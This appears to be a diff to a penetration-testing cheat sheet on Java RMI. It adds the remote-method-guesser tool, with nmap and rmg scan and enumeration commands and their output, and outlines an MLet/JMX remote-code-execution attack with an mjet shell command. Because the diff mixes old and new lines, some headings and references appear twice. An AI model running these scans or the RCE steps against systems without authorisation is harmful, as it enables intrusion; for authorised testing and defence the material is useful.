Java RMI: Add remote-method-guesser to tools

This also includes slight adjustments to the README.md to adhere to the current contribution example layout
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# Java RMI
> The attacker can host a MLet file and instruct the JMX service to load MBeans from the remote host.
> Exposing a weak configured Java Remote Method Invocation (RMI) service can lead to several ways to achieve RCE.
> One such attack is to host an MLet file and instruct the JMX service to load MBeans from the remote host which can be carried out
> using the tools mjet or sjet. remote-method-guesser is a more recent tool which bundles enumeration of RMI services together
> with a summary of currently known attack techniques.
## Summary
* [Tools](#tools)
* [Detection](#detection)
* [Exploitation](#exploitation)
* [Requirements](#requirements)
* [Detection](#detection)
* [Remote Command Execution](#remote-command-execution)
* [RCE using sjet/mjet](#rce-using-sjet-or-mjet)
* [References](#references)
## Exploitation
## Tools
### Requirements
- Jython
- The JMX server can connect to a http service that is controlled by the attacker
- JMX authentication is not enabled
- [sjet](https://github.com/siberas/sjet)
- [mjet](https://github.com/mogwailabs/mjet)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## Detection
### Detection
Using [nmap](https://nmap.org/):
```powershell
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
1089/tcp open java-rmi Java RMI
@ -33,7 +35,45 @@ $ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TA
| javax.management.remote.rmi.RMIServerImpl_Stub
```
### Remote Command Execution
Using [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser):
```bash
$ rmg scan 172.17.0.2 --ports 0-65535
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.
```
```bash
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[...]
```
## Exploitation
### RCE using sjet or mjet
#### Requirements
- Jython
- The JMX server can connect to a http service that is controlled by the attacker
- JMX authentication is not enabled
#### Remote Command Execution
The attack involves the following steps:
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
@ -59,5 +99,6 @@ jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
## References
* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH - 28 APR 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
* [JMX RMI MULTIPLE APPLICATIONS RCE - Red Timmy Security - 26th March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi--multiple-applications-remote-code-execution.pdf)
* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH, 28 April 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
* [JMX RMI MULTIPLE APPLICATIONS RCE - Red Timmy Security, 26 March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi--multiple-applications-remote-code-execution.pdf)
* [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel, 15 August 2021](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)